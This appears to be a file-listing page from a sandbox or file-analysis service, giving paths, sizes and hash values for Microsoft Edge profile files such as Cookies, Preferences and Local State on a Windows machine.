SSDEEP 96:0JNg2nwej2bB/GZtZj3ADZXYAyKU3Q2mIAMuUOv3y/KP9KXl+CJF9o1uqNXTZzgH:ymGj2bkfuU3Rjyi/VMChWjv2Ogty2
TLSH
T1E012407FE418847E47778367A18B351ECBBB397E185CF469D0C21D0C06AE2AE1511AAF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG
Size 334B
SHA256 9f24eaa969ddd75858a270b73d0d35ba7416bb315d67a3ec37064e44c5cd9c04
MD5 00451388e5f558c1382f4f37744876a2
SHA1 ceab556d861f69053e2192f7591673f4dc77cf1a
SHA512 c2dfb25e8827f9abc4a8ac11ba1f2276d120fa4225acdb4361e58567423bbeeddc15c426998030f9eac00a0f765dcfd570e8cd2e76a67a0952a795b94066c734
TLSH
T1C9E0D8B684DDC129D258B0574698670CC3F1340AD68E2A021B0AAC59B041004E3D11D7
MD5 SHA1 SHA512 TLSH

Submit Download

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
Size 24KB
SHA256 d8797b56a98a2879428367ba990c997784c18a459f950b06972489fe4acf5a02
MD5 1f8896ea90877d87106a890982ff4c85
SHA1 54935018f658ce13738e13a9bc4bae5abfcd0271
SHA512 3b44eddb5bb1336b452fa525fd9e6226c906078fbb412068049d18967b3c37c03e4ffdfb110e4fc90de81284ba80b5769136404b9cf46f48bd27c486ce22c723
SSDEEP 96:qDeMatha9N6OhKVLB6YW287LTKzs0JJ9LdC:qDLaTa3j6LB6YDcN29ZC
TLSH
T1D9B21B8F1F242E12D2F585B69DFA84553A6C105CC7FF74979820B0B24D35363F952AA3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 5KB
SHA256 08bce9505d3c0a19c5d2203d393d1c175416230fb932325a66445229abcd3e4b
MD5 c5b759e3b6b785deaab97801fd4d4452
SHA1 6d34becb0c4ee51c876d1555037a2208228a6efb
SHA512 443863e8a1e08ebe2cd101a3978c30a87ccdaa3434996fc74139c37733b54941804cddc5e705b6e9dd4539585c95860fd7f78659c8a5ef98f05dce80b1b675cd
SSDEEP 96:DFzuAuDYJ9bMjfaZV1Yueuu6/kuLiwBL+gLC6RhG:DFzh4YJ9bMjfaZV1YrupkEikL+gLC6Rk
TLSH
T12EC18DF7C7E9866ED91152F4AA143E1BCE1D0914832C3C1EC9E4AF1FA7E24B1E141A5E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 1KB
SHA256 a857f5a791008205410d47200ed3ad294f47f5c6abb644a9a69fbde1285ce9d9
MD5 8bfea642920ed9e4f0fb260704183d00
SHA1 b797bd66c8c8fd133464874e0da76fd8a6cf5ecb
SHA512 7de21fe6d417ab3147c8ab76eebeac841be04e8824d15cb049a5d7c5190826ce91eb102e0cafe713ec2174c2f9377f113cc2d2c7bdec653a6bf3d3efebc571e1
TLSH
T11621CDF3C2E8567D894181F46B183F1BCE2D0814832C3E6AC4D4AB5F93F5871D24095E
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 6KB
SHA256 bd18f8916478502958aa59e290b59eb5c03d57b369e213a3bf001f1e08c6e33d
MD5 df256b8a63352eb52fcd4642bcc5ee4b
SHA1 f922d3ad6bccf047aa234e31973966bc1bea2451
SHA512 11fa7683d25ef78a4482f81b3e16c7520335bec04e82d8d7fda9d916a050363b3ff3253d3aec633ff8a0ffe8edce3d7ecec18f6432faaab90a0ae292e6e5ff18
SSDEEP 192:DkI+WTmyIhbjfaZVmrupkEiL+gLC6Rh4xGT:DkI+WTmyIhbjfaZVmrupkEiL+gLC6Rh9
TLSH
T1A9D1ADF7C7E9866ED91152F4AA143E1BCE1D0914832C3C1EC9E4AF1FA7E24B1E141A5E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

TransportSecurity

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\TransportSecurity
Size 690B
SHA256 bf67d4364ceade7cc76b7ebeb64bcc8d311e511b67ed3e48efa7bd611da6b847
MD5 8f8ad8cf4993aeef3cdd70bc5da8106c
SHA1 f39bc5f6292a5a5872408f7fd0d67e3675ee7e2e
SHA512 753de22fe52195d1b23757e96cd4caa20d916c018e0dd5a97c439e85dd053adfb348f230c99d512071960d3a62393d8debdab9ab840510064509682d053fcb8c
TLSH
T187017BA74279AC7B1078056B2C407843677AE43506039CF0DA57422CF0CACB39606C33
MD5 SHA1 SHA512 TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 13KB
SHA256 bd54f1d05184215ad42e100bc282610bdfc3ce4c0f23a4f9a9e000e69ea8a53c
MD5 15aee9d6463c2ccd95bc9cc8f90d9046
SHA1 5ac7442e360737f50747b907102a70f0f3fafb1a
SHA512 ebccce6dbf9c0a2b23c7ab56db1321682a3f46d985f13cb4d07db8a9b6ec3f42c68ce402dd68c52cb064c2e3dce80f40393f24c6fedbfafb66d7c9914cf8694a
SSDEEP 192:sxRzdCM/fMs4WpVIg55ZORzoA8pl4/g6+WNV34mVjj4/eB0J+gtCYTgUIgD9J:sxRzcM/fMs4WvIg5XBa/5JQ/ei6wj
TLSH
T17D52B716A9385E7F9CD7D21DFA55BB63D2F91022A6D55E44A7FC8A0C00EB6DD2203C0B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 12KB
SHA256 b2f9249baa42deeeaed7a79ca2dd653d8a1c7caeb9c119ecefd8fb9a45c8016b
MD5 90cc658b391d7a3e8ddfaa42dbf78762
SHA1 bacd9ff3df63a8bbacd7ad165e7fdda2fea726b4
SHA512 89f35734272f3257152189e82e3faac72ffe8d2a70339ad9f7af83d279d24688aab0cc1f6e144a82e1f4ff48c4c625ab7944d306ceb28bf1f1253442f1468c6d
SSDEEP 192:sxRzrCM/fMsag55ZORzoA8pl4/g6+WNpmVjj4/eB0J+oTCYAGUIgD9J:sxRzeM/fMsag5XBa/56Q/eiI3j
TLSH
T16542C716A9289E7B5CCBD21DFB55BB93D2F95032A2D51E48A7FC860C04E76DD2207C0B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 11KB
SHA256 61932a11e773d1b964bc8b66991a0b1f3aad89d168f7e9881ca1e8517f2789fb
MD5 e9d44a850b3c9ac188d54194613efd98
SHA1 a4fd66492553322b41229f0eaf52cf64c9a618ef
SHA512 abe0f94df07fefc6f8e507516778a9608e4f3c3860296bba7e0aaeabacda4a3a8239b6c5abbae2d4391d54b5b54dc5cd023343b7eb7d644a046e55d41115b398
SSDEEP 192:sxR8rCM/fMs+g55ZORzoA8pl4/g6+WNpmVjj4/eBQJ+oTCYAGUIgtJ:sxR8eM/fMs+g5XBa/56Q/eGI33
TLSH
T1CF42B61669289E7B5CCBD21DFA55BB53D2F95032A2D51E48A7FC860C04E76DD2207C0B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 68e2804dab4edbb36957ffdcd5a77b4b4147a5f05430d0e12daae27926b5f7c7
MD5 b95b88d98af44cc621aa0dfa558279ae
SHA1 52e2d8d78e861451c3370954359517fe2fa22795
SHA512 4e8efcac2504f9498bb3f3ddd84a0e6c1ea48ca04acc0a63d1afef68742340b9ee8ba5f8ba6fcd619689182d744d1940eb70668c5401a8cfe0d03921379994b6
SSDEEP 192:sxRzR+CM/fMsPWpVcD5ZOGOOj4zoA8pl4/g6+WNV34mVjj4/eB0J+gwfCYKGUIgA:sxRz3M/fMsPWvcDXZOMa/5JQ/ei7d5+
TLSH
T1EE62B716A9285E7F9CD7D21DFA59BB62D3F9502266D15E44A7FC8B0C00EB6DD2203C0B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 13KB
SHA256 2a0c510a8fa9142057e1545bc83927b6885c8df15e6bb982f46e9c740624ddff
MD5 495a71d19a6cd5ca59d8266a0a69f1e9
SHA1 e4254746e8f1d70a46d3f6e9cd59fc34acaf4165
SHA512 668d707c39f807d3229a583c3be32d87edfa24fb86ce600a4545449723045fb8ab0a8f8416fc9da8d251be4e347e90deb94c4726684f69f7b6a03e9142484eab
SSDEEP 192:sxRzR+CM/fMsPWpVc/5ZOGOOj4zoA8pl4/g6+WNV34mVjj4/eB0J+gtCYKGUIgDH:sxRz3M/fMsPWvc/XZOMa/5JQ/ei6dj
TLSH
T13752B716A9285E7F9CD7D21DFA59BB53D2F91022A6D15E44A7FC8A0C00EB6DD2203C0B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 29KB
SHA256 85b4d5cf72542c00446fcfca767af4fcac0c1fbbd4bbfe8778c35d4c0b47b0ba
MD5 5c2bc0adf892fdc0eceb843115756512
SHA1 0ca5e8b52e56fbbae7751c2095c1f004fc98ce1c
SHA512 dde3835e16a13435765d88d6f4d5b46440c394da83acb25c288651175566287fcc3f2e71cfa216f001c3314ea1c8be69567bc263fb18b34e07c7879aee38ea11
SSDEEP 768:j26HRo7pLuL7MRWgs2fw28F1+UoAYDCx9Tuqh0VfUC9xbog/OVC5BVuwsro9Ge02:j26HRUE7MRWgs2fw2u1jaF5B4w3pd
TLSH
T1E0D2DB7B740DCABE4F800ADDEC197E9F6D6802CB9698CD8447FE851C02C6BEA51164DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

index.txt

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\7d571773fef4871f82ca0457379cf2a39317562f\index.txt
Size 226B
SHA256 6fdf43e3c0e640abe5830f77087d67003dc0f509f5d9dbf3da4cb879ae0ce6c2
MD5 2d1e46b8dcdd8dd35f03677d1da53405
SHA1 4c1e10ea4e7c9797d45d7202d9d0c790f1c3cb13
SHA512 947073ed986b37ff05d3179e059417da3a0235c503733b3361bfc9b28889305c15b975beaa7e8bc99a233cb8473616cc0d2bdc87ce51468020d4ded731009e71
TLSH
T1B1D0A7ABA5559550DEB68BD51E77187A462838C8188BA44C541211185846B879613E92
MD5 SHA1 SHA512 TLSH

Submit Download

index.txt

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\7d571773fef4871f82ca0457379cf2a39317562f\index.txt
Size 233B
SHA256 1598f9b9ece32eb841cc59ae754baa17b20680cfe099254daaa28a99e58bbdcd
MD5 ff12f21ac6dbcc0fe9c0eebfc5f4561c
SHA1 33e0bd373c5684a01510a8b5296ad599fa7a88e3
SHA512 1765fa99b6f4f96ba2e4e7fc3eaf92d03fc5e70d3223024fe385fc30c28afa460343b906d66ee7a96ba502218b46fd624ac4ba30c7082878d3deb1de50dfc8ea
TLSH
T1F2D097ABA5220850DFB28BC21E3308BA46283CC8188AA04C8403301C2476B838322E82
MD5 SHA1 SHA512 TLSH

Submit Download

index.txt~RFe597788.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\7d571773fef4871f82ca0457379cf2a39317562f\index.txt~RFe597788.TMP
Size 138B
SHA256 2e6d78fae2ef3711839404dcfee7ab360531cd2764c9df1ff3793ffbdfd5cf5b
MD5 9512b8feee0b513be7a8eccf8302317b
SHA1 d5c012846251286e1eda2e9c226fb126917364bb
SHA512 8ab37469ba5cce60d7797918340c34077d1218abb9af13e4667d093668842b120b0b53ef90e06f9f02b96b4e0b3b8be86a8d2f2071991d482be66ec500ffd667
TLSH
T1FFC02B67B4000A11CF6007C20333417C47093CCC48C7884D612330143075F136605FE2
MD5 SHA1 SHA512 TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG
Size 335B
SHA256 045f2e4251dfcd1c95f42207048b9f5962beaa41f9886ffee6787440a97b8d90
MD5 2f3720d7ed403bda39d708cbb79ae590
SHA1 92f58d7ec0f10b6dd88eca27dc41b62b55071f59
SHA512 1674bfdef578150e85f773930666c795ed2df5a09a92bcb7bd80024be2b031b3cc62944d79c0712672da09a3a07c4a46767ea0911824043cae6e6d26814eebd8
TLSH
T1BBE0262005C8C97DE156225306ACC30CA2FCB52BF2CC3D023F0ED8886182504F2A2192
MD5 SHA1 SHA512 TLSH

Submit Download

000003.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\000003.log
Size 184B
SHA256 b44ec2e1bce49ee18052b84d4d87da897858138d74d7516290d751ebdbb02c0a
MD5 30372b171a7e868a09edbdbb732e519f
SHA1 978caafd2c7782eb33331820491af20aaea2cff2
SHA512 cac3c05d30f206122ebe3c13d24acbbe6d331874d8d001d0aad8bcf996bc7f63455170bce1176ed5c7ce36d597c88881cd65ce31dd7737cb4c58520b19e1e0f8
TLSH
T16EC08CA47710DD16D9D852B123E18B60FB84E01A15CEFD53CC5CAF631E821947E88DD5
MD5 SHA1 SHA512 TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG
Size 347B
SHA256 a6454881c5dc1b6e75071c73317f8315c6f356eea1bec9a2e0db50208dbf0eca
MD5 067a5ea5c5b6d591c0fde06905bf9d88
SHA1 7c047640d4de1ac9ac6d921e217963d4db81281d
SHA512 542cd506400a7533d2da8e7f8b8421150b3c03eb468bcfd681e724633ccb62547cf0a99bd01561f2c3cdb0fefceb457425ca1c5e1aabca9d2d766fd272d37852
TLSH
T17BE0D83055C9C63EF14560C742A9D708C2F27803E6C9AD112B0EE4D86246140B353152
MD5 SHA1 SHA512 TLSH

Submit Download

000003.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\000003.log
Size 175B
SHA256 80d1388b9a7150eb0291175fe693dd7b6bce910c3e4fff51e94841d31d771dbe
MD5 cb63c64828a27af7253afb7c7d986654
SHA1 8a54aeb86f79cc69e6f11278d874cebd328ae466
SHA512 e0dbdd6931c9272e0b52bb2ef7895121f6324379f584899343342a057737a9837cc476842ea781a1de5c17a20c06e0a7d24c0ed6ea41fdd95bb99296e8810f9a
TLSH
T135C09BD55F903023FDCA5D3D0DAB53041720C4752F74CF57D28430901C0A285FF61145
MD5 SHA1 SHA512 TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG
Size 323B
SHA256 e688c4ccaceb798887b960eb6b5dc974872a83a8e124a1cfc09d8598db7ff261
MD5 efe0619c9bf2ff480eeca9fa5dac8e3e
SHA1 e0e3c2f959a1c3629804b44451697cf12b248c5b
SHA512 4065685a460a60e3d26c2909158341a5f71dff0085c3f9aacf8242bb12e148ba09a4e0cbc3e7142d835abc2ff7283b2247845a7f4e2dee97a232b8d525342387
TLSH
T18EE0867045D9C639D04470C786B8975E82F0B81AA7C97E46AB0D54D8B142144F7B6595
MD5 SHA1 SHA512 TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 5KB
SHA256 5adc5c46f291984e60f41859d1d9b76dee7cc44f8622295ff477589f258c8b4e
MD5 347ca752af1667f0281a011cc31ccc03
SHA1 4dec88f5de689c739f300ec5dbe5418cbb11296a
SHA512 2ec98e57517d4fe9577de330fdc65341d8baa8e7f17a3e8849b9fa08a8066bd3d8c82a3eceef74c17a263064b8e4a28eadf11f592a90eded12b6293cb9edfd11
SSDEEP 96:KR3gFB31lpWRekgJpK4ggHpcvHG5FaHoZs4q26gWeDzgggK41gCgcwgziY+jCe4g:C3gFB31lERe1JDggH2vHG5FaHoZs4q2X
TLSH
T199B1954032B652407C3D671D80A9895FC9D17476B00AA62F3BE850A64FABE02CDFC9DD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 4KB
SHA256 93c2d742f35cdfa39047f452fd860a51bfed47b16b8a23d7569bd80dcb543e5c
MD5 e7b8f1391ad7c7efe4ec27599c158ac1
SHA1 e7152db2b1076681da3903ab6c6519af03389c19
SHA512 c23dca23424a79d625f5f5c4e16969b56ba4a16e79752ca80be6aeeb7d9bcb0610fcd94b361596ea2928e5c450c8e8f188928a1f17cbba8817630e7d48b6556d
SSDEEP 96:KR3gFB31lpWRekgJpK4ggHpcvHG5FaHoZs4q26gWeDzgggK41gCgcwgziY+jCe4i:C3gFB31lERe1JDggH2vHG5FaHoZs4q2z
TLSH
T16C91644072B652447C3E671D80A8895FD9D17476B00AA62F7BE811A64FABE028CFC9DD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Web Data

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Web Data
Size 256KB
SHA256 a66cd4479358dbeb77bcba4491fefdf634be2ec99e4a802e8d4c763154a37cb5
MD5 6c982aa28ffac54fd6fb6e930b028a9f
SHA1 efae76d642c85e950b7c4073cbef6e7e68784f2f
SHA512 53ac43aafab6b40697bd717f0e9acbf28aa44d237be7b09a2383f31eab6bb1170411ec41fc4b9fad843c18014bb9ab48afee7e7c60422057d98bf0bd37030452
SSDEEP 384:DNrRZyCSDnxTICx7MEhIKyll7svbFKfk7:xFZJSDnigQyI1l7svbF9
TLSH
T1C044740A7B747001EDE6D9725CB080771E3C716D8F22A6916DB254694EB3853A23D8FF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

b0f09938-b19c-4d06-9167-5d971e67d78b.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\b0f09938-b19c-4d06-9167-5d971e67d78b.tmp
Size 1B
SHA256 cdb4ee2aea69cc6a83331bbe96dc2caa9a299d21329efb0336fc02a82e1839a8
MD5 5058f1af8388633f609cadb75a75dc9d
SHA1 3a52ce780950d4d969792a2559cd519d7ee8c727
SHA512 0b61241d7c17bcbb1baee7094d14b7c451efecc7ffcbd92598a0f13d313cc9ebc2a07e61f007baf58fbf94ff9a8695bdd5cae7ce03bbf1e94e93613a00f25f21
MD5 SHA1 SHA512

Submit Download

000003.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log
Size 12KB
SHA256 2db3dc4de525abd1dbac6d895f8943308e88ab7118902f91788c378db3201969
MD5 2f5b670e8096c84ebf3b484d5794b3eb
SHA1 6bf696d9dfd0ea22087a8e6d3346aa8092dbaf7a
SHA512 e0f1c16aa6ba77ccdc22772f224d99a1c1b0d635edb7a727e5bdc28350c7202e6c4cfe2764a1df63ec4f94cff405eb16138ea3e013b22934774a3cbd229e46d1
SSDEEP 192:j95QkIIIbbLMIMNsYcYVYOJlAszlrMEusuQ:zQkIIIbbLMIM2BiJWsZks
TLSH
T1854273AF26052B77C09F5B3613B686409BE998820172A12D3353AC0F8DF3E9783C52F1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG
Size 319B
SHA256 ec52c9eedc441d942fc2ffb7f5b8265291c8df1052f772d361742121a50bab6e
MD5 834eef949557ffd09523ba92a8c36947
SHA1 d204c53a99b5ecb1c6ddbf0fdbdcf4a2412a3049
SHA512 cc9f0eefeca18bcea9017f27be891dc9ad03fe695512f2d50f8fdd60bcff8d6574bd966bc391ebfbeff2cfbafd334730382597fc5511e11aee467e84e8bb5484
TLSH
T151E02630A8C8C1AEF01420CB42B9470983E0381BEA9839066F0AC4CCB0C2100F7AA193
MD5 SHA1 SHA512 TLSH

Submit Download

000003.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log
Size 1KB
SHA256 a05635258f428a9acee5effb826d3a9014e845e5190da66ec9f96e1ba72ba87b
MD5 46f310e2ba607f27c8719fa4411da9e0
SHA1 97df24128bcd0be5b8a488621c0fadd069c224be
SHA512 89bde692954d3b7fc0298b52da56dc30802ee1ff59a7f41bf23f5dadc2b9a9677bad560264b1e33897384fa2fb88e1c6ff233bfeac4e22305636cfe346ecee6b
TLSH
T13A212155F330C048E14A823E507F5B3A1734E8268FBCEC0F457A20346E76A080E4B3E6
MD5 SHA1 SHA512 TLSH

Submit Download

LOG

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG
Size 340B
SHA256 38403720be353d071864f21b9e676aa2940579e02a01c33be2386864a5b7c542
MD5 1389a33dc9151804d290beb5ed75118d
SHA1 a8696cdbef4fb2a8fd248ce0cff7cd6a98358850
SHA512 773d5cbfd8ab9fe5d6f6e36f1b17568a25708f7b4f765b2be44f181dfbf44310e2f1424eb899abd7e03ef0f03b97a6e40a2e6ebe38285b8261b9cf54b9d37c4e
TLSH
T15BE08661F8DDC5EFD014209316A8D348D3E53847EB9A3E061F0AEC9CB541145F3AB5D6
MD5 SHA1 SHA512 TLSH

Submit Download

OperationConfig

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\OperationConfig
Size 22KB
SHA256 d988156066b7fd22de278fbc96759d2caea6552094ffeb2ddd9307806059c5e4
MD5 f768bcb451a187c18099961c484eef8b
SHA1 99472c2d1918ea56c632734bc5c8a89ae6d2551c
SHA512 a4d78de6bcc1e940c466c41c31ee100235b32fef4cb3e7815a9c62dfae1eb3e4588d2c9e8597152ad7754527643c59ea8b811277ac58e4134a3dbf1507fe97bf
SSDEEP 384:90JOk/FY7A42lagbkDtCkQ7wDThH/64+hkmbA6BQpGMgSVlkFIum1z4tfLTvq/ue:WJOk/FY7/2lagbCtCkQ7wDlH/h+umbAJ
TLSH
T131A2B81DC81C7E3257CA2F7D6A2F9DB276DA30CA7080459A7E8CC54DD31B0AD56862BC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

OperationConfig~RFe5ab0f2.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\OperationConfig~RFe5ab0f2.TMP
Size 3KB
SHA256 8b2e057387e9714efef3580a36459acf56aab53c806cd7d7dbb6e17cef977ef9
MD5 904e6e94a1d46374c8630cfd86cc729f
SHA1 e1d9c3f7813878acc6510d48d95b2bf48b2e1a0d
SHA512 081e2a26252860ff8d8f7a9d0378ae56f0cc50574d13d2a121afdf74284963747ef874a4d73b1df7774cd8570972f4f513eefe0a0325fd088556d5b1ba946712
TLSH
T1DB815C4FCC0CBE77ABAB6A719A35D6B2F79131EA94518A977F8C444EE3050ED0242E50
MD5 SHA1 SHA512 TLSH

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\data_1
Size 264KB
SHA256 46f74cee5d2e47a0869c05ed5227543987aea04fa2cb0278557c79aa6762eb66
MD5 c69cda79885a1ee5c315e1e5b2ca78e3
SHA1 cc13a426325eb0d353e6b1892206df0a1b9bc857
SHA512 4494b67ea9deb837446d559ec2082956589f0fed7045a001e07cca1d2dddfda7daeefa901f469e8d40e4da389f9e31cd996362b5633e89b4bbe209a8b3b8ff81
SSDEEP 3:MsEllllkEthXllkl2zEfls/t:/M/xT02zN
TLSH
T1524404047FC0040DC500113054D1C3743370D51005155F4374F10D33FCC75400C11000
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data_1

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\GraphiteDawnCache\data_1
Size 264KB
SHA256 c0152b38b7f07179ca3e2ef852ba0dc646dfa78b9e3662d8d55124095d3023aa
MD5 893cdc0a0bd227277181fc1265f13ec0
SHA1 8cfc77921cae620e91fa0cad48f979b398739b61
SHA512 2497fe3a6e28fe538bbe9f0c56ffe1924db1f764f3bc082f84b336a3d7fae467a85a11466b589c07fcbd73b80c409ae02cd764bce2d0458535a8998017d48118
SSDEEP 3:MsEllllkEthXllkl2zEflmZRq:/M/xT02zXv
TLSH
T1B44404047FC41F0DC5011131C051C3703370D4101FD1775334D14433DCC75400C10000
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Last Version

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Last Version
Size 14B
SHA256 ee1367d356a136a11664001cd90e05ba08dbaa85f496584158f5e42be8e836fd
MD5 8297da058a737611abcc3a0ede9ffc24
SHA1 e532552672ecffbe3509fb4c334833a67f16d05b
SHA512 fefc70ebe486693310a00beb5ae125abb1569c4455538124d897566f2e44f2b3854ad4451196607137301a811ac7f96f1d488a36eb6d6cd566f2f7cdc7c7568f
MD5 SHA1 SHA512

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 35KB
SHA256 9e703653af14537cedcf17380020ef7404d58c41b45faffcca2af9251f37dd8e
MD5 75811b45221a82826d86bf19a0b99eaf
SHA1 4beb74acfa731e8440a3586391b7dd4b3c1ec5d5
SHA512 60af63f9657ab3abc555a226eed6c64410a0eb1c5d7fe9e055e4e5a70afff7636e85571a8c928f91aa92a5d281fbd3bf3e5d6650b66593f94c2c9ca293fe36fb
SSDEEP 768:rj+9h39rJqg/TBOW8FsmNONXyer1IRCzni9Ub9MeK:+9h3xadNSIqnXb+eK
TLSH
T18FF2AE35E456DF234CD693D6B14B3796BFF8206B86C41F50EAEA6F4E058365D130B80A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 38KB
SHA256 6c1515ee969ac6a2ae5d758d73076937fcf07bcd60b187928021c4fa0749326c
MD5 93b5164396a7a7a6ed602a4dc6ae0b59
SHA1 cd55e76af7531d073bc0dfcd2e7781c18525b99a
SHA512 f04e684f27300a8a792b05cceff3e429c3f5f511f13fe16eb75ddfdcca57323d1a67720058169e36b8b05232d30e36b53b42a0db64472529c7373ef13348e638
SSDEEP 768:hrv+4UNbdz3+9/TBOW8FxONXyer1IRCzniBTeVH1SK7:hbsbV3saxSIqn4EH1l
TLSH
T1D603BE36E4A8DE378CE2A3C6B14B72037FB86057C6840B90E9DE1F4E069B59D130B957
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 60KB
SHA256 c48216861fad4f6fe4e5ea6b2204e9209ca6c21e302d891a5974df58b09c62fa
MD5 6e7617c823347302f98839d3b6b620ce
SHA1 1cc726eff055f78d68d298244dbcf6d599547775
SHA512 eafdc7e149627b49a703269e17d2a79c8b6417f6c5d8e18d05aca0bce8a1e09dda721a708f7e953d5172d3a9975fa0db28898764c56db35e44403251d1676f57
SSDEEP 1536:49h34qSIqnO75Pf9NJvtu2GemtHmeegNqt+eb:4jnS5nUDH9daHmeesqt5b
TLSH
T189535BFA98C38A3BD8AE5787673D2E0699BCD027B2544994F7D40E4DCCA21BFD306815
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 39KB
SHA256 179406e1aadd3489564f6e8b572733a8d5add268c279059d6639378f2b89ef45
MD5 9b07b23022cca4bfd0ed923ecd88773b
SHA1 22c873fd1492db99cdcd5af0d4aff1244ec3f6f5
SHA512 7b593d87e373160fbb852ffdff8b0f903d293249cff8681572f23ec4c638e6a91ebb877e1e7022acaa6256d65e16fbd335752bb368ac6cd4c81b618648abb407
SSDEEP 768:Irv+4UNbdz3ox/TBOW8FsmOONXyer1IRCzni9UeVH1SKk:IbsbV3iadOSIqnXEH1m
TLSH
T17803AE31E1A9DE334DE6A386B14B73837FB82067C5840B90E9DA1F4E069759E170F91B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 39KB
